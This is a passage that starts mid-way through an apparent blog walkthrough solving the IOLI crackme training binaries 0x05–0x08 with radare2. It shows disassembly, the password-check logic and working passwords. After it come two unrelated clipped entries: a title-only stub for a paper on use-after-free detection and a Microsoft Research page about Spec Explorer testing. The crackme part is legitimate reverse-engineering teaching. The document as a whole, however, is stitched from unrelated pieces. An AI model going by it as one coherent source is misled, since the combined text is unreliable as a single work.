    |     0x08048541     89e5             mov ebp, esp
    |     0x08048543     81ec88000000     sub esp, 0x88
    |     0x08048549     83e4f0           and esp, 0xfffffff0
    |     0x0804854c     b800000000       mov eax, 0x0
    |     0x08048551     83c00f           add eax, 0xf
    |     0x08048554     83c00f           add eax, 0xf
    |     0x08048557     c1e804           shr eax, 0x4
    |     0x0804855a     c1e004           shl eax, 0x4
    |     0x0804855d     29c4             sub esp, eax
    |     0x0804855f     c704248e860408   mov dword [esp], str.IOLICrackmeLevel0x05
    |     0x08048566     e829feffff       call dword imp.printf
    |        ; imp.printf()
    |     0x0804856b     c70424a7860408   mov dword [esp], str.Password
    |     0x08048572     e81dfeffff       call dword imp.printf
    |        ; imp.printf()
    |     0x08048577     8d4588           lea eax, [ebp-0x78]
    |     0x0804857a     89442404         mov [esp+0x4], eax
    |     0x0804857e     c70424b2860408   mov dword [esp], 0x80486b2
    |     0x08048585     e8eafdffff       call dword imp.scanf
    |        ; imp.scanf()
    |     0x0804858a     8d4588           lea eax, [ebp-0x78]
    |     0x0804858d     890424           mov [esp], eax
    |     0x08048590     e833ffffff       call dword sym.check
    |        ; sym.check()
    |     0x08048595     b800000000       mov eax, 0x0
    |     0x0804859a     c9               leave
    \     0x0804859b     c3               ret
        ; ------------
    
[/code]

Boring.

[code]

    [0x080483d0]> pdf@sym.check
            ; CODE (CALL) XREF 0x08048590 (sym.main)
    / function: sym.check (120)
    |        0x080484c8  sym.check:
    |        0x080484c8     55               push ebp
    |        0x080484c9     89e5             mov ebp, esp
    |        0x080484cb     83ec28           sub esp, 0x28
    |        0x080484ce     c745f800000000   mov dword [ebp-0x8], 0x0
    |        0x080484d5     c745f400000000   mov dword [ebp-0xc], 0x0
    |  .     ; CODE (JMP) XREF 0x08048530 (sym.check)
    / loc: loc.080484dc (100)
    |  .     0x080484dc  loc.080484dc:
    |  .---> 0x080484dc     8b4508           mov eax, [ebp+0x8]
    |  |     0x080484df     890424           mov [esp], eax
    |  |     0x080484e2     e89dfeffff       call dword imp.strlen
    |  |        ; imp.strlen()
    |  |     0x080484e7     3945f4           cmp [ebp-0xc], eax
    |  | ,=< 0x080484ea     7346             jae loc.08048532
    |  | |   0x080484ec     8b45f4           mov eax, [ebp-0xc]
    |  | |   0x080484ef     034508           add eax, [ebp+0x8]
    |  | |   0x080484f2     0fb600           movzx eax, byte [eax]
    |  | |   0x080484f5     8845f3           mov [ebp-0xd], al
    |  | |   0x080484f8     8d45fc           lea eax, [ebp-0x4]
    |  | |   0x080484fb     89442408         mov [esp+0x8], eax
    |  | |   0x080484ff     c744240468860408 mov dword [esp+0x4], 0x8048668
    |  | |   0x08048507     8d45f3           lea eax, [ebp-0xd]
    |  | |   0x0804850a     890424           mov [esp], eax
    |  | |   0x0804850d     e892feffff       call dword imp.sscanf
    |  | |      ; imp.sscanf()
    |  | |   0x08048512     8b55fc           mov edx, [ebp-0x4]
    |  | |   0x08048515     8d45f8           lea eax, [ebp-0x8]
    |  | |   0x08048518     0110             add [eax], edx
    |  | |   0x0804851a     837df810         cmp dword [ebp-0x8], 0x10
    |  |,==< 0x0804851e     750b             jnz loc.0804852b
    |  |||   0x08048520     8b4508           mov eax, [ebp+0x8]
    |  |||   0x08048523     890424           mov [esp], eax
    |  |||   0x08048526     e859ffffff       call dword sym.parell
    |  |||      ; sym.parell()
    |  ||    ; CODE (JMP) XREF 0x0804851e (sym.check)
    / loc: loc.0804852b (21)
    |  ||    0x0804852b  loc.0804852b:
    |  |`--> 0x0804852b     8d45f4           lea eax, [ebp-0xc]
    |  | |   0x0804852e     ff00             inc dword [eax]
    |  `===< 0x08048530     ebaa             jmp loc.080484dc
    |    |   ; CODE (JMP) XREF 0x080484ea (sym.check)
    / loc: loc.08048532 (14)
    |    |   0x08048532  loc.08048532:
    |    `-> 0x08048532     c7042479860408   mov dword [esp], str.PasswordIncorrect!
    |        0x08048539     e856feffff       call dword imp.printf
    |           ; imp.printf()
    |        0x0804853e     c9               leave
    \        0x0804853f     c3               ret
            ; ------------
    
[/code]

Same function as the previous crackme, but this time, it's not compared to 15,
but to 16. And instead of a printf\("Password OK\!"\), there is a call to
sym.pharell

[code]

    [0x080483d0]> pdf@sym.parell
        ; CODE (CALL) XREF 0x08048526 (sym.check)
    / function: sym.parell (68)
    |      0x08048484  sym.parell:
    |      0x08048484     55               push ebp
    |      0x08048485     89e5             mov ebp, esp
    |      0x08048487     83ec18           sub esp, 0x18
    |      0x0804848a     8d45fc           lea eax, [ebp-0x4]
    |      0x0804848d     89442408         mov [esp+0x8], eax
    |      0x08048491     c744240468860408 mov dword [esp+0x4], 0x8048668
    |      0x08048499     8b4508           mov eax, [ebp+0x8]
    |      0x0804849c     890424           mov [esp], eax
    |      0x0804849f     e800ffffff       call dword imp.sscanf
    |         ; imp.sscanf()
    |      0x080484a4     8b45fc           mov eax, [ebp-0x4]
    |      0x080484a7     83e001           and eax, 0x1
    |      0x080484aa     85c0             test eax, eax
    |  ,=< 0x080484ac     7518             jnz loc.080484c6
    |  |   0x080484ae     c704246b860408   mov dword [esp], str.PasswordOK!
    |  |   0x080484b5     e8dafeffff       call dword imp.printf
    |  |      ; imp.printf()
    |  |   0x080484ba     c7042400000000   mov dword [esp], 0x0
    |  |   0x080484c1     e8eefeffff       call dword imp.exit
    |  |      ; imp.exit()
    |  |   ; CODE (JMP) XREF 0x080484ac (sym.parell)
    / loc: loc.080484c6 (2)
    |  |   0x080484c6  loc.080484c6:
    |  `-> 0x080484c6     c9               leave
    \      0x080484c7     c3               ret
        ; ------------
    
[/code]

Another scanf\(\), used as an atoi\(\). It's return value is and'ed with 1,
and if the result is 0, goodboy \! As everyone knows, and'ing with 1 is the
same as testing is the number is odd.

[code]

    $ ./crackme0x05
    IOLI Crackme Level 0x05
    Password: 664
    Password OK!
    
[/code]

# crackme0x06

[code]

    pdf@sym.main
    / function: sym.main (99)
    |     0x08048607  sym.main:
    |     0x08048607     55               push ebp
    |     0x08048608     89e5             mov ebp, esp
    |     0x0804860a     81ec88000000     sub esp, 0x88
    |     0x08048610     83e4f0           and esp, 0xfffffff0
    |     0x08048613     b800000000       mov eax, 0x0
    |     0x08048618     83c00f           add eax, 0xf
    |     0x0804861b     83c00f           add eax, 0xf
    |     0x0804861e     c1e804           shr eax, 0x4
    |     0x08048621     c1e004           shl eax, 0x4
    |     0x08048624     29c4             sub esp, eax
    |     0x08048626     c7042463870408   mov dword [esp], str.IOLICrackmeLevel0x06
    |     0x0804862d     e886fdffff       call dword imp.printf
    |        ; imp.printf()
    |     0x08048632     c704247c870408   mov dword [esp], str.Password
    |     0x08048639     e87afdffff       call dword imp.printf
    |        ; imp.printf()
    |     0x0804863e     8d4588           lea eax, [ebp-0x78]
    |     0x08048641     89442404         mov [esp+0x4], eax
    |     0x08048645     c7042487870408   mov dword [esp], 0x8048787
    |     0x0804864c     e847fdffff       call dword imp.scanf
    |        ; imp.scanf()
    |     0x08048651     8b4510           mov eax, [ebp+0x10]
    |     0x08048654     89442404         mov [esp+0x4], eax
    |     0x08048658     8d4588           lea eax, [ebp-0x78]
    |     0x0804865b     890424           mov [esp], eax
    |     0x0804865e     e825ffffff       call dword sym.check
    |        ; sym.check()
    |     0x08048663     b800000000       mov eax, 0x0
    |     0x08048668     c9               leave
    \     0x08048669     c3               ret
          ; ------------
    
[/code]

Blablabla, same stuff as previously, blablabla. Or is it ? Check again.

You can see that this time, the _sym.check_ function takes 2 parameters.

  1. The result of scanf\(\), \(\[ebp-0x78\]\) in esp
  2. \[ebp+10\] in \[esp+0x4\]

Since main\(\) is a function, and this code is compiled with GCC, you can
expect a stack like this:

[code]

    [esp + 0x10] - envp
    [esp + 0x0c] - argv
    [esp + 0x08] - argc
    [esp + 0x04] - return address
    
[/code]

So, our sym.check call looks like:

[code]

    check(int password, char* argv[]);
    
[/code]

Except this, the code is the same as the previous binary \(except that envp is
passed as an argument\) for sym.main, sym.check, sym.parell, ... Or it is ?
Check once again ;\) The code is different in sym.parell. You can notice a
call to sym.dummy.

[code]

    [0x08048400]> pdf@sym.dummy
             ; CODE (CALL) XREF 0x08048547 (sym.parell)
    / function: sym.dummy (102)
    |        0x080484b4  sym.dummy:
    |        0x080484b4     55               push ebp
    |        0x080484b5     89e5             mov ebp, esp
    |        0x080484b7     83ec18           sub esp, 0x18
    |        0x080484ba     c745fc00000000   mov dword [ebp-0x4], 0x0
    |   .    ; CODE (JMP) XREF 0x08048503 (sym.dummy)
    / loc: loc.080484c1 (89)
    |   .    0x080484c1  loc.080484c1:
    |   .--> 0x080484c1     8b45fc           mov eax, [ebp-0x4]
    |   |    0x080484c4     8d148500000000   lea edx, [eax*4+0x0]
    |   |    0x080484cb     8b450c           mov eax, [ebp+0xc]
    |   |    0x080484ce     833c0200         cmp dword [edx+eax], 0x0
    |   |,=< 0x080484d2     743a             jz loc.0804850e
    |   ||   0x080484d4     8b45fc           mov eax, [ebp-0x4]
    |   ||   0x080484d7     8d0c8500000000   lea ecx, [eax*4+0x0]
    |   ||   0x080484de     8b550c           mov edx, [ebp+0xc]
    |   ||   0x080484e1     8d45fc           lea eax, [ebp-0x4]
    |   ||   0x080484e4     ff00             inc dword [eax]
    |   ||   0x080484e6     c744240803000000 mov dword [esp+0x8], 0x3
    |   ||   0x080484ee     c744240438870408 mov dword [esp+0x4], str.LOLO
    |   ||   0x080484f6     8b0411           mov eax, [ecx+edx]
    |   ||   0x080484f9     890424           mov [esp], eax
    |   ||   0x080484fc     e8d7feffff       call dword imp.strncmp
    |   ||      ; imp.strncmp()
    |   ||   0x08048501     85c0             test eax, eax
    |   `==< 0x08048503     75bc             jnz loc.080484c1
    |    |   0x08048505     c745f801000000   mov dword [ebp-0x8], 0x1
    |  ,===< 0x0804850c     eb07             jmp loc.08048515
    |  | |   ; CODE (JMP) XREF 0x080484d2 (sym.dummy)
    / loc: loc.0804850e (12)
    |  | |   0x0804850e  loc.0804850e:
    |  | `-> 0x0804850e     c745f800000000   mov dword [ebp-0x8], 0x0
    |  |     ; CODE (JMP) XREF 0x0804850c (sym.dummy)
    / loc: loc.08048515 (5)
    |  |     0x08048515  loc.08048515:
    |  `---> 0x08048515     8b45f8           mov eax, [ebp-0x8]
    |        0x08048518     c9               leave
    \        0x08048519     c3               ret
             ; ------------
    
[/code]

Let's be ~~clever~~ lazy once again:

  1. str.LOLO
  2. strncmp\(\)
  3. no new input/output compared to the previous binary
  4. the environment pointer is passed form sym.main to sym.check to sym.parell ...

Looks like the binary wants the same things as the previous one, _plus_ an
environment variable named "LOLO".

[code]

    $ LOLO= ./crackme0x06
    IOLI Crackme Level 0x06
    Password: 556
    Password OK!
    
[/code]

Maybe you asked yourself "How the hell am I supposed to recognize that this is
GDB's output ?\!". By experience. But, there is another way:

[code]

    $ rabin2 -S ./crackme0x06
    [Sections]
    idx=00 addr=0x08048000 off=0x00000000 sz=0 vsz=0 perm=---- name=
    idx=01 addr=0x08048154 off=0x00000154 sz=19 vsz=19 perm=-r-- name=.interp
    idx=02 addr=0x08048168 off=0x00000168 sz=32 vsz=32 perm=-r-- name=.note.ABItag
    idx=03 addr=0x08048188 off=0x00000188 sz=60 vsz=60 perm=-r-- name=.hash
    idx=04 addr=0x080481c4 off=0x000001c4 sz=32 vsz=32 perm=-r-- name=.gnu.hash
    idx=05 addr=0x080481e4 off=0x000001e4 sz=160 vsz=160 perm=-r-- name=.dynsym
    idx=06 addr=0x08048284 off=0x00000284 sz=103 vsz=103 perm=-r-- name=.dynstr
    idx=07 addr=0x080482ec off=0x000002ec sz=20 vsz=20 perm=-r-- name=.gnu.version
    idx=08 addr=0x08048300 off=0x00000300 sz=32 vsz=32 perm=-r-- name=.gnu.version_r
    idx=09 addr=0x08048320 off=0x00000320 sz=8 vsz=8 perm=-r-- name=.rel.dyn
    idx=10 addr=0x08048328 off=0x00000328 sz=56 vsz=56 perm=-r-- name=.rel.plt
    idx=11 addr=0x08048360 off=0x00000360 sz=23 vsz=23 perm=-r-x name=.init
    idx=12 addr=0x08048378 off=0x00000378 sz=128 vsz=128 perm=-r-x name=.plt
    idx=13 addr=0x08048400 off=0x00000400 sz=788 vsz=788 perm=-r-x name=.text
    idx=14 addr=0x08048714 off=0x00000714 sz=26 vsz=26 perm=-r-x name=.fini
    idx=15 addr=0x08048730 off=0x00000730 sz=90 vsz=90 perm=-r-- name=.rodata
    idx=16 addr=0x0804878c off=0x0000078c sz=4 vsz=4 perm=-r-- name=.eh_frame
    idx=17 addr=0x08049f0c off=0x00000f0c sz=8 vsz=8 perm=-rw- name=.ctors
    idx=18 addr=0x08049f14 off=0x00000f14 sz=8 vsz=8 perm=-rw- name=.dtors
    idx=19 addr=0x08049f1c off=0x00000f1c sz=4 vsz=4 perm=-rw- name=.jcr
    idx=20 addr=0x08049f20 off=0x00000f20 sz=208 vsz=208 perm=-rw- name=.dynamic
    idx=21 addr=0x08049ff0 off=0x00000ff0 sz=4 vsz=4 perm=-rw- name=.got
    idx=22 addr=0x08049ff4 off=0x00000ff4 sz=40 vsz=40 perm=-rw- name=.got.plt
    idx=23 addr=0x0804a01c off=0x0000101c sz=12 vsz=12 perm=-rw- name=.data
    idx=24 addr=0x0804a028 off=0x00001028 sz=4 vsz=4 perm=-rw- name=.bss
    idx=25 addr=0x08049028 off=0x00001028 sz=441 vsz=441 perm=---- name=.comment
    idx=26 addr=0x080491e1 off=0x000011e1 sz=219 vsz=219 perm=---- name=.shstrtab
    idx=27 addr=0x08049744 off=0x00001744 sz=1152 vsz=1152 perm=---- name=.symtab
    idx=28 addr=0x08049bc4 off=0x00001bc4 sz=609 vsz=609 perm=---- name=.strtab
    
    29 sections
    
[/code]

Since this binary is not stripped \(_man strip_\), you can notice a ".comment"
section. $ r2 ./crackme0x06 \[0x08048400\]> s section..comment \[0x08049028\]>
ps 128 \x00GCC: \(GNU\) 3.4.6 \(Gentoo 3.4.6-r2, ssp-3.4.6-1.0,
pie-8.7.10\)\x00\x00GCC: \(GNU\) 3.4.6 \(Gentoo 3.4.6-r2, ssp-3.4.6-1.0,
pie-8.7.10\)\x00\x00G

Yay, GCC 3.4.6 on a Gentoo 3.4.6-r2 \!

# crackme0x07

[code]

    [0x08048400]> aa
    [0x08048400]> pdf
    / function: section..text (34)
    |     0x08048400  section..text:
    |     0x08048400     31ed             xor ebp, ebp               ; [13] va=0x08048400 pa=0x00000400 sz=900 vsz=900 rwx=-r-x .text
    |     0x08048402     5e               pop esi
    |     0x08048403     89e1             mov ecx, esp
    |     0x08048405     83e4f0           and esp, 0xfffffff0
    |     0x08048408     50               push eax
    |     0x08048409     54               push esp
    |     0x0804840a     52               push edx
    |     0x0804840b     6850870408       push dword 0x8048750
    |     0x08048410     68e0860408       push dword 0x80486e0
    |     0x08048415     51               push ecx
    |     0x08048416     56               push esi
    |     0x08048417     687d860408       push dword 0x804867d
    |     0x0804841c     e867ffffff       call dword imp.__libc_start_main
    |        ; imp.__libc_start_main()
    \     0x08048421     f4               hlt
          ; ------------
    
[/code]

wat. What happened to symbols ?\!

[code]

    $ rabin2 -I ./crackme0x07
    [File info]
    File=/home/jvoisin/dev/reverse/crackme/done/IOLI-crackme/bin-linux/./crackme0x07
    Type=EXEC (Executable file)
    HasVA=true
    RootClass=elf
    Class=ELF32
    Arch=x86 32
    Machine=Intel 80386
    OS=linux
    Subsystem=linux
    Big endian=false
    Stripped=true
    Static=false
    Line_nums=false
    Local_syms=false
    Relocs=false
    RPath=NONE
    
[/code]

This binary is stripped : no more symbols.

Since this is GCC-produced code, the main is likely at 0x804867d \(the last
push before _imp.\_\_libc\_start\_main_\)

[code]

    $ r2 ./crackme0x07
    [0x08048400]> aa
    [0x08048400]> pdf
    / function: section..text (34)
    |     0x08048400  section..text:
    |     0x08048400     31ed             xor ebp, ebp               ; [13] va=0x08048400 pa=0x00000400 sz=900 vsz=900 rwx=-r-x .text
    |     0x08048402     5e               pop esi
    |     0x08048403     89e1             mov ecx, esp
    |     0x08048405     83e4f0           and esp, 0xfffffff0
    |     0x08048408     50               push eax
    |     0x08048409     54               push esp
    |     0x0804840a     52               push edx
    |     0x0804840b     6850870408       push dword 0x8048750
    |     0x08048410     68e0860408       push dword 0x80486e0
    |     0x08048415     51               push ecx
    |     0x08048416     56               push esi
    |     0x08048417     687d860408       push dword 0x804867d
    |     0x0804841c     e867ffffff       call dword imp.__libc_start_main
    |        ; imp.__libc_start_main()
    \     0x08048421     f4               hlt
          ; ------------
    
[/code]

By the way, this is the _start_ function.

[code]

    [0x08048400]> pdf@0x804867d
    / function: main (99)
    |     0x0804867d  main:
    |     0x0804867d     55               push ebp
    |     0x0804867e     89e5             mov ebp, esp
    |     0x08048680     81ec88000000     sub esp, 0x88
    |     0x08048686     83e4f0           and esp, 0xfffffff0
    |     0x08048689     b800000000       mov eax, 0x0
    |     0x0804868e     83c00f           add eax, 0xf
    |     0x08048691     83c00f           add eax, 0xf
    |     0x08048694     c1e804           shr eax, 0x4
    |     0x08048697     c1e004           shl eax, 0x4
    |     0x0804869a     29c4             sub esp, eax
    |     0x0804869c     c70424d9870408   mov dword [esp], str.IOLICrackmeLevel0x07
    |     0x080486a3     e810fdffff       call dword imp.printf
    |        ; imp.printf()
    |     0x080486a8     c70424f2870408   mov dword [esp], str.Password
    |     0x080486af     e804fdffff       call dword imp.printf
    |        ; imp.printf()
    |     0x080486b4     8d4588           lea eax, [ebp-0x78]
    |     0x080486b7     89442404         mov [esp+0x4], eax
    |     0x080486bb     c70424fd870408   mov dword [esp], 0x80487fd
    |     0x080486c2     e8d1fcffff       call dword imp.scanf
    |        ; imp.scanf()
    |     0x080486c7     8b4510           mov eax, [ebp+0x10]
    |     0x080486ca     89442404         mov [esp+0x4], eax
    |     0x080486ce     8d4588           lea eax, [ebp-0x78]
    |     0x080486d1     890424           mov [esp], eax
    |     0x080486d4     e8e0feffff       call dword fcn.080485b9
    |        ; fcn.080485b9()
    |     0x080486d9     b800000000       mov eax, 0x0
    |     0x080486de     c9               leave
    \     0x080486df     c3               ret
          ; ------------
    
[/code]

Our main\(\).

[code]

    [0x08048400]> pdf@fcn.080485b9
                ; CODE (CALL) XREF 0x080486d4 (main)
    / function: fcn.080485b9 (196)
    |           0x080485b9  fcn.080485b9:
    |           0x080485b9     55               push ebp
    |           0x080485ba     89e5             mov ebp, esp
    |           0x080485bc     83ec28           sub esp, 0x28
    |           0x080485bf     c745f800000000   mov dword [ebp-0x8], 0x0
    |           0x080485c6     c745f400000000   mov dword [ebp-0xc], 0x0
    |     .     ; CODE (JMP) XREF 0x08048628 (fcn.080485b9)
    / loc: loc.080485cd (176)
    |     .     0x080485cd  loc.080485cd:
    |     .---> 0x080485cd     8b4508           mov eax, [ebp+0x8]
    |     |     0x080485d0     890424           mov [esp], eax
    |     |     0x080485d3     e8d0fdffff       call dword imp.strlen
    |     |        ; imp.strlen()
    |     |     0x080485d8     3945f4           cmp [ebp-0xc], eax
    |     | ,=< 0x080485db     734d             jae loc.0804862a
    |     | |   0x080485dd     8b45f4           mov eax, [ebp-0xc]
    |     | |   0x080485e0     034508           add eax, [ebp+0x8]
    |     | |   0x080485e3     0fb600           movzx eax, byte [eax]
    |     | |   0x080485e6     8845f3           mov [ebp-0xd], al
    |     | |   0x080485e9     8d45fc           lea eax, [ebp-0x4]
    |     | |   0x080485ec     89442408         mov [esp+0x8], eax
    |     | |   0x080485f0     c7442404c2870408 mov dword [esp+0x4], 0x80487c2
    |     | |   0x080485f8     8d45f3           lea eax, [ebp-0xd]
    |     | |   0x080485fb     890424           mov [esp], eax
    |     | |   0x080485fe     e8c5fdffff       call dword imp.sscanf
    |     | |      ; imp.sscanf()
    |     | |   0x08048603     8b55fc           mov edx, [ebp-0x4]
    |     | |   0x08048606     8d45f8           lea eax, [ebp-0x8]
    |     | |   0x08048609     0110             add [eax], edx
    |     | |   0x0804860b     837df810         cmp dword [ebp-0x8], 0x10
    |     |,==< 0x0804860f     7512             jnz loc.08048623
    |     |||   0x08048611     8b450c           mov eax, [ebp+0xc]
    |     |||   0x08048614     89442404         mov [esp+0x4], eax
    |     |||   0x08048618     8b4508           mov eax, [ebp+0x8]
    |     |||   0x0804861b     890424           mov [esp], eax
    |     |||   0x0804861e     e81fffffff       call dword fcn.08048542
    |     |||      ; fcn.08048542()
    |     ||    ; CODE (JMP) XREF 0x0804860f (fcn.080485b9)
    / loc: loc.08048623 (90)
    |     ||    0x08048623  loc.08048623:
    |     |`--> 0x08048623     8d45f4           lea eax, [ebp-0xc]
    |     | |   0x08048626     ff00             inc dword [eax]
    |     `===< 0x08048628     eba3             jmp loc.080485cd
    |       |   ; CODE (JMP) XREF 0x080485db (fcn.080485b9)
    / loc: loc.0804862a (83)
    |       |   0x0804862a  loc.0804862a:
    |       `-> 0x0804862a     e8f5feffff       call dword fcn.08048524
    |       |      ; fcn.08048524()
    |           0x0804862f     8b450c           mov eax, [ebp+0xc]
    |           0x08048632     89442404         mov [esp+0x4], eax
    |           0x08048636     8b45fc           mov eax, [ebp-0x4]
    |           0x08048639     890424           mov [esp], eax
    |           0x0804863c     e873feffff       call dword fcn.080484b4
    |              ; fcn.080484b4()
    |           0x08048641     85c0             test eax, eax
    |    ,====< 0x08048643     7436             jz loc.0804867b
    |    |      0x08048645     c745f400000000   mov dword [ebp-0xc], 0x0
    |    |      ; CODE (JMP) XREF 0x08048679 (fcn.080485b9)
    / loc: loc.0804864c (49)
    |    |      0x0804864c  loc.0804864c:
    |    |      0x0804864c     837df409         cmp dword [ebp-0xc], 0x9
    |   ,=====< 0x08048650     7f29             jg loc.0804867b
    |   ||      0x08048652     8b45fc           mov eax, [ebp-0x4]
    |   ||      0x08048655     83e001           and eax, 0x1
    |   ||      0x08048658     85c0             test eax, eax
    |  ,======< 0x0804865a     7518             jnz loc.08048674
    |  |||      0x0804865c     c70424d3870408   mov dword [esp], str.wtf?
    |  |||      0x08048663     e850fdffff       call dword imp.printf
    |  |||         ; imp.printf()
    |  |||      0x08048668     c7042400000000   mov dword [esp], 0x0
    |  |||      0x0804866f     e874fdffff       call dword imp.exit
    |  |||         ; imp.exit()
    |  |        ; CODE (JMP) XREF 0x0804865a (fcn.080485b9)
    / loc: loc.08048674 (9)
    |  |        0x08048674  loc.08048674:
    |  `------> 0x08048674     8d45f4           lea eax, [ebp-0xc]
    |   ||      0x08048677     ff00             inc dword [eax]
    |   ||      0x08048679     ebd1             jmp loc.0804864c
    |   ||      ; CODE (JMP) XREF 0x08048643 (fcn.080485b9)
    |   ||      ; CODE (JMP) XREF 0x08048650 (fcn.080485b9)
    / loc: loc.0804867b (2)
    |   ||      0x0804867b  loc.0804867b:
    |   ``----> 0x0804867b     c9               leave
    \           0x0804867c     c3               ret
                ; ------------
    
[/code]

This part looks like our previously seen sym.check function. But bigger.

Don't be scared. You can recognize the key verification routine of the
previous crackme:

[code]

    s = 0
    for i in password:
        s += i
        if s == 0x10:
            sym.parell()
    print "BADBOY"
    
[/code]

As you may have guessed, _parell_ is 08048542

[code]

    pdf@08048542
              ; CODE (CALL) XREF 0x0804861e (fcn.080485b9)
    / function: fcn.08048542 (119)
    |         0x08048542  fcn.08048542:
    |         0x08048542     55               push ebp
    |         0x08048543     89e5             mov ebp, esp
    |         0x08048545     83ec18           sub esp, 0x18
    |         0x08048548     8d45fc           lea eax, [ebp-0x4]
    |         0x0804854b     89442408         mov [esp+0x8], eax
    |         0x0804854f     c7442404c2870408 mov dword [esp+0x4], 0x80487c2
    |         0x08048557     8b4508           mov eax, [ebp+0x8]
    |         0x0804855a     890424           mov [esp], eax
    |         0x0804855d     e866feffff       call dword imp.sscanf
    |            ; imp.sscanf()
    |         0x08048562     8b450c           mov eax, [ebp+0xc]
    |         0x08048565     89442404         mov [esp+0x4], eax
    |         0x08048569     8b45fc           mov eax, [ebp-0x4]
    |         0x0804856c     890424           mov [esp], eax
    |         0x0804856f     e840ffffff       call dword fcn.080484b4
    |            ; fcn.080484b4()
    |         0x08048574     85c0             test eax, eax
    |     ,=< 0x08048576     743f             jz loc.080485b7
    |     |   0x08048578     c745f800000000   mov dword [ebp-0x8], 0x0
    |     |   ; CODE (JMP) XREF 0x080485b5 (fcn.08048524)
    / loc: loc.0804857f (58)
    |     |   0x0804857f  loc.0804857f:
    |     |   0x0804857f     837df809         cmp dword [ebp-0x8], 0x9
    |    ,==< 0x08048583     7f32             jg loc.080485b7               ; If greater than 0x9, jumps over GOODBOY
    |    ||   0x08048585     8b45fc           mov eax, [ebp-0x4]
    |    ||   0x08048588     83e001           and eax, 0x1
    |    ||   0x0804858b     85c0             test eax, eax
    |   ,===< 0x0804858d     7521             jnz loc.080485b0
    |   |||   0x0804858f     833d2ca0040801   cmp dword [0x804a02c], 0x1
    |  ,====< 0x08048596     750c             jnz loc.080485a4
    |  ||||   0x08048598     c70424c5870408   mov dword [esp], str.PasswordOK!
    |  ||||   0x0804859f     e814feffff       call dword imp.printf
    |  ||||      ; imp.printf()
    |  |      ; CODE (JMP) XREF 0x08048596 (fcn.08048524)
    / loc: loc.080485a4 (21)
    |  |      0x080485a4  loc.080485a4:
    |  `----> 0x080485a4     c7042400000000   mov dword [esp], 0x0
    |   |||   0x080485ab     e838feffff       call dword imp.exit
    |   |||      ; imp.exit()
    |   |     ; CODE (JMP) XREF 0x0804858d (fcn.08048524)
    / loc: loc.080485b0 (9)
    |   |     0x080485b0  loc.080485b0:
    |   `---> 0x080485b0     8d45f8           lea eax, [ebp-0x8]
    |    ||   0x080485b3     ff00             inc dword [eax]
    |    ||   0x080485b5     ebc8             jmp loc.0804857f
    |    ||   ; CODE (JMP) XREF 0x08048576 (fcn.08048524)
    |    ||   ; CODE (JMP) XREF 0x08048583 (fcn.08048524)
    / loc: loc.080485b7 (2)
    |    ||   0x080485b7  loc.080485b7:
    |    ``-> 0x080485b7     c9               leave
    \         0x080485b8     c3               ret
              ; ------------
    
[/code]

Looks roughly like the previous parell function. Did you noticed the _cmp 0x9_
instruction within a loop ? Which loop ? There are no upward arrows \! You
should read the code, instead of looking for arrows.

What about:

[code]

        0x080485b5     ebc8             jmp loc.0804857f
    
[/code]

This is indeed part of a loop. No other input/ouput than the previous one.
What must be inferior to 0x9 ? Maybe our password.

[code]

    $ LOLO= ./crackme0x07
    IOLI Crackme Level 0x07
    Password: 111111118
    Password OK!
    
    $ LOLO= ./crackme0x07
    IOLI Crackme Level 0x07
    Password: 1111111117
    Password Incorrect!
    
[/code]

:\)

# crackme0x08

Let's be ~~lazy~~ clever : our binary rouglhy share the same structure. It
would be nice if we could _diff_ them, and focus on the differences, instead
of having to reverse them from the start, to remember every routine, ...

You can do that with radare2, using radiff2 \(see the manpage\).

[code]

    radiff2 -C crackme0x07 crackme0x08
                    main  0x804867d |   MATCH  (1.000000) | 0x804867d  sym.main
            fcn.080485b9  0x80485b9 |   MATCH  (1.000000) | 0x80485b9  sym.check
            fcn.08048524  0x8048524 |   MATCH  (1.000000) | 0x8048524  sym.che
            fcn.080484b4  0x80484b4 |   MATCH  (1.000000) | 0x80484b4  sym.dummy
            fcn.08048542  0x8048542 |   MATCH  (1.000000) | 0x8048542  sym.parell
           section..text  0x8048400 |   MATCH  (1.000000) | 0x8048400  section..text
    sym.__do_global_dtors_aux  0x8048450 |     NEW  (0.000000)
         sym.frame_dummy  0x8048480 |     NEW  (0.000000)
            fcn.00000000  0x0 |     NEW  (0.000000)
    sym.__do_global_ctors_aux  0x8048760 |     NEW  (0.000000)
     sym.__libc_csu_fini  0x8048750 |     NEW  (0.000000)
           section..fini  0x8048784 |     NEW  (0.000000)
            fcn.0804878d  0x804878d |     NEW  (0.000000)
     sym.__libc_csu_init  0x80486e0 |     NEW  (0.000000)
    sym.__i686.get_pc_thunk.bx  0x8048755 |     NEW  (0.000000)
           section..init  0x8048360 |     NEW  (0.000000)
            fcn.08048424  0x8048424 |     NEW  (0.000000)
            fcn.0804842d  0x804842d |     NEW  (0.000000)
    
[/code]

Surprise\! crackme0x08 is the same as crackme0x07. But there are new functions
\! Indeed, but look where they are located: dtors, ctors, init, fini.
crackme0x07 seems to be the stripped version of crackme0x08.

# crackme0x09

The last crackme is left as an exercise to the reader.

# Conclusion

Now go break some crackmes with radare2 \!

posted at 09:14 2013 · crackme

  

# Undangle: Early Detection of Dangling Pointers in Use-After-Free and Double-
Free Vulnerabilities

**Created:**| _8/28/2014 3:59:40 PM_  
---|---  
**Updated:**| _8/29/2014 9:19:28 AM_  
**Author:**| __  
**Tags:**| _pointers_  
  
<img src='img/881dc45d33c7bfea662a0889918999e4.pdf' />

# Model-based Testing with SpecExplorer - Microsoft Research

**Created:**| _12/7/2012 1:06:47 PM_  
---|---  
**Updated:**| _12/7/2012 1:06:47 PM_  
**Author:**| __  
**Tags:**| _papers analysis business model-checking_  
  
  

Model-based Testing with SpecExplorer

<img src='img/Temp2_5396.gif' width='67' height='67' alt='Model-based Testing
with SpecExplorer' />

Spec Explorer is a software development tool for advanced model-based
specification and conformance testing.

## New Version of Spec Explorer as an extension to Visual Studio is now
available: Spec Explorer 2010

## What are the core ideas behind Spec Explorer?

  * Encode a system's intended behavior \(its specification\) in machine-executable form \(as a "model program"\). The model program typically does much less than the implementation; it does just enough to capture the relevant states of the system and show the constraints that a correct implementation must follow. The goal is to specify from a chosen viewpoint what the system must do, what it may do and what it must not do.
  * Explore the possible runs of the specification-program as a way to systematically generate test suites.
  * Compare the behavior of the model program to the system's implementation in each of the scenarios discovered by algorithmic exploration. Discrepancies between actual and expected results are called conformance failures.

## What is a conformance error?

A confrmance error may indicate any of the following:

  * Implementation Bug. A code defect in the implementation under test \[IUT\].
  * Modeling error. A code defect in the model program itself.
  * Specification error. A mistake or ambiguity in the system's specification \(in other words, a misrepresentation of the intended system behavior\).
